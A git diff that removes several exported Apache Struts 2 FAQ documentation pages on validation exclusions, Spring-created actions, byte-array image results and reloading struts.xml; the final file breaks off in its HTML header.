-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we change which methods are excused from validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29124">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29124">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29124">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29124">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>By default, the methods <code>input</code>, <code>back</code>, <code>cancel</code>, and <code>browse</code> are excluded from validation. These method names are provided as a parameter to the validation interceptor as configured in the <a shape="rect" href="struts-defaultxml.html">struts-default</a> package. To change the excluded methods, we just need to change the parameter. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name=xxx&gt;
-&lt;interceptor-ref name="defaultStack"&gt;
-&lt;param name="validation.excludeMethods"&gt;method1,method2&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-&lt;/action&gt; 
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-create-our-action-objects-from-the-spring-configuration.html b/content/docs/how-can-we-create-our-action-objects-from-the-spring-configuration.html
deleted file mode 100644
index 1450ccc..0000000
--- a/content/docs/how-can-we-create-our-action-objects-from-the-spring-configuration.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we create our Action objects from the Spring configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-create-our-action-objects-from-the-spring-configuration.html">How can we create our Action objects from the Spring configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we create our Action objects from the Spring configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29119">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29119">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29119">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29119">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Each time</p>
-
-<ol><li>Configure the bean in the Spring configuration file (usually <code>applicationContext.xml</code>)</li><li>Change the "class" attribute in the <code>struts.xml</code> action mapping to use the bean name defined in Spring instead of the actual class name.</li></ol>
-
-
-<p>One time </p>
-
-<ol><li>Add <code>struts.objectFactory = spring</code> to the <a shape="rect" href="strutsproperties.html">struts.properties</a>.</li><li>Add the Spring listener to the web.xml. 
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;listener&gt;
-    &lt;listener-class&gt;org.springframework.web.context.ContextLoaderListener&lt;/listener-class&gt;
-&lt;/listener&gt;</pre>
-</div></div></li><li>Add the Spring configiuration file to the <code>WEB-INF</code> folder. 
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"&gt;
-&lt;beans default-autowire="autodetect"&gt;
-    &lt;bean id="personManager" class="com.acme.PersonManager"/&gt;
-    ...
-&lt;/beans&gt;</pre>
-</div></div></li></ol>
-
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For details, see <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33274">Initializing Actions from Spring</a>. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-display-dynamic-or-static-images-that-can-be-provided-as-an-array-of-bytes.html b/content/docs/how-can-we-display-dynamic-or-static-images-that-can-be-provided-as-an-array-of-bytes.html
deleted file mode 100644
index 630bd5a..0000000
--- a/content/docs/how-can-we-display-dynamic-or-static-images-that-can-be-provided-as-an-array-of-bytes.html
+++ /dev/null
@@ -1,228 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we display dynamic or static images that can be provided as an array of bytes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-display-dynamic-or-static-images-that-can-be-provided-as-an-array-of-bytes.html">How can we display dynamic or static images that can be provided as an array of bytes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we display dynamic or static images that can be provided as an array of bytes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14278">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14278">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14278">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14278">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14278">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14278">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>To display an image represented as an array of bytes</p>
-<ul><li>Reference an Action for the image src attribute</li><li>Provide a helper method on the Action to return an array of bytes</li><li>Provide a Result Type that renders the array to the response</li></ul>
-
-
-<h2 id="Howcanwedisplaydynamicorstaticimagesthatcanbeprovidedasanarrayofbytes-ReferenceanAction">Reference an Action</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;img src="/myWebAppContext/myAction.do" /&gt;
-</pre>
-</div></div>
-
-<h2 id="Howcanwedisplaydynamicorstaticimagesthatcanbeprovidedasanarrayofbytes-ProvideHelperMethods">Provide Helper Methods</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyAction extends ActionSupport {
-  public String doDefault() {
-    return "myImageResult";
-  }
-
-  public byte[] getMyImageInBytes() { .... }
-
-  public String getMyContentType() { ... }
-  public String getMyContentDisposition() { ... }
-  public int getMyContentLength() { .... }
-  public int getMyBufferSize() { ... }
-
-}
-</pre>
-</div></div>
-
-<h2 id="Howcanwedisplaydynamicorstaticimagesthatcanbeprovidedasanarrayofbytes-ProvideaCustomResultType">Provide a Custom Result Type</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-
-    ...
-    &lt;result-types&gt;
-        &lt;result-type name="myBytesResult" class="MyBytesResult" /&gt;
-    &lt;/result-types&gt;
-    ...
-    &lt;action name="myAction" class="MyAction"&gt;
-        &lt;result name="myImageResult" type="myBytesResult"&gt;
-            &lt;param name="contentType"&gt;${myContentType}&lt;/param&gt;
-            &lt;param name="contentDisposition"&gt;${myContentDisposition}&lt;/param&gt;
-            &lt;param name="contentLength"&gt;${myContentLength}&lt;/param&gt;
-            &lt;param name="bufferSize"&gt;${myBufferSize}&lt;/param&gt;
-        &lt;result&gt;
-    &lt;/action&gt;
-    ...
-
-&lt;/struts&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyBytesResult.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyBytesResult implements Result {
-
-	public void execute(ActionInvocation invocation) throws Exception {
-
-		MyAction action = (MyAction) invocation.getAction();
-		HttpServletResponse response = ServletActionContext.getResponse();
-
-                response.setContentType(action.getContentType());
-		response.setContentLength(action.getContentLength());
-
-		response.getOutputStream().write(action.getImageInBytes());
-		response.getOutputStream().flush();
-	}
-
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-force-the-action-mappings-strutsxml-to-reload.html b/content/docs/how-can-we-force-the-action-mappings-strutsxml-to-reload.html
deleted file mode 100644
index f3de670..0000000
--- a/content/docs/how-can-we-force-the-action-mappings-strutsxml-to-reload.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we force the Action Mappings (struts.xml) to reload</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-force-the-action-mappings-strutsxml-to-reload.html">How can we force the Action Mappings (struts.xml) to reload</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we force the Action Mappings (struts.xml) to reload</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14096">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14096">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14096">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14096">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Most often, the Action Mappings will be automatically reloaded if the WAR is redeployed. If not, there are two things you can try: Setting the reload property to true and destroying the configuration.</p>
-
-<h2 id="HowcanweforcetheActionMappings(struts.xml)toreload-SettingReloadtoTrue">Setting Reload to True</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-### Configuration reloading
-### This will cause the configuration to reload struts.xml when it is changed
-struts.configuration.xml.reload=true
-</pre>
-</div></div>
-
-<h2 id="HowcanweforcetheActionMappings(struts.xml)toreload-ReloadingtheConfiguration">Reloading the Configuration</h2>
-
-<p>Create a utility Action that calls <code>reload</code>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>MyUtilityAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-// ...
-String execute() {
-  Dispatcher.getIntance().getConfigurationManager().reload();
-  return SUCCESS;
-}
-</pre>
-</div></div>
-<p>Invoking <code>reload</code> will force Struts to reload the configuration.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-return-a-text-string-as-the-response.html b/content/docs/how-can-we-return-a-text-string-as-the-response.html
deleted file mode 100644
index 6e4f7e4..0000000
--- a/content/docs/how-can-we-return-a-text-string-as-the-response.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
